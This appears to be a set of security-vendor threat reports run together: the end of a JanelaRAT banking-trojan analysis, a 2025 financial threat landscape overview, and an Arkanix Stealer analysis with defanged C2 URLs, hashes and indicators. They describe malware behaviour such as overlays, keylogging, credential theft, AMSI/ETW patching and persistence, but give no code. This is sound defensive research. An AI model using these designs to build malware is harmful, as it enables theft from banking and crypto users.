      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

Introduction

In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.

Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.

Technical details

Background

In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.

Upon further research utilizing public resources, we identified a set of implants associated with this stealer.

Initial infection or spreading

The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.

Python loader

MD5	208fa7e01f72a50334f3d7607f6b82bf
File name	discord_nitro_code_validator_right_aligned.py

The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.

Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.

Python stealer version

MD5	af8fd03c1ec81811acf16d4182f3b5e1
File name	–

During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.

The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.

Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.

During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.

In the following, we will provide a more detailed description of the Python version’s data collection features.

System info collection

Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:

• OS version
• CPU and GPU info
• RAM size
• Screen resolution
• Keyboard layout
• Time zone
• Installed software
• Antivirus software
• VPN

Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.

Browser features

This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:

• Browser history (URLs, visit count and last visit)
• Autofill information (email, phone, addresses and payment cards details)
• Saved passwords
• Cookies
• In case of Chromium-based browsers, 0Auth2 data is also extracted

All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.

Telegram info collection

Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.

Discord capabilities

The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.

The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.

VPN data collection

The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:

• Mullvad VPN
• NordVPN
• ExpressVPN
• ProtonVPN

File retrieval

File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).

Other payloads

We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.

Module name	Endpoint to download	Details
Chrome grabber	/api/chrome-grabber-template/{payload_id}	–
Wallet patcher	/api/wallet-patcher/{payload_id}	Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector	/api/extra-collector/{payload_id}	Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC	/hvnc	Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot

The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.

Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).

Native version of stealer

MD5	a3fc46332dcd0a95e336f6927bae8bb7
File name	ArkanixStealer.exe

During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:

• The release version employs VMProtect, but does not utilize code virtualization.
• The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
• The debug version includes extensive logging, presumably for the authors’ debugging purposes.

Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.

After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.

Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.

RDP connections

The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.

Gaming files

The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:

• Steam
• Epic Games Launcher
• net
• Riot
• Origin
• Unreal Engine
• Ubisoft Connect
• GOG

Screenshots

The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.

Post-exploitation browser data extractor

MD5	3283f8c54a3ddf0bc0d4111cc1f950c0
File name	–

This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.

Infrastructure

During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.

Domain	IP	First seen	ASN
arkanix[.]pw	195.246.231[.]60	Oct 09, 2025	–
arkanix[.]ru	172.67.186[.]193	Oct 19, 2025	–

Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.

Stealer promotion

During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).

Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.

Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:

• C++ native stealer
• Exodus and Atomic cryptocurrency wallets injection
• Increased payload generation, up to 10 payloads
• Priority support

Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.

This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.

Conclusions

Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.

In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

File hashes
752e3eb5a9c295ee285205fb39b67fc4
c1e4be64f80bc019651f84ef852dfa6c
a8eeda4ae7db3357ed2ee0d94b963eff
c0c04df98b7d1ca9e8c08dd1ffbdd16b
88487ab7a666081721e1dd1999fb9fb2
d42ba771541893eb047a0e835bd4f84e
5f71b83ca752cb128b67dbb1832205a4
208fa7e01f72a50334f3d7607f6b82bf
e27edcdeb44522a9036f5e4cd23f1f0c
ea50282fa1269836a7e87eddb10f95f7
643696a052ea1963e24cfb0531169477
f5765930205719c2ac9d2e26c3b03d8d
576de7a075637122f47d02d4288e3dd6
7888eb4f51413d9382e2b992b667d9f5
3283f8c54a3ddf0bc0d4111cc1f950c0

Domains and IPs
arkanix[.]pw
arkanix[.]ru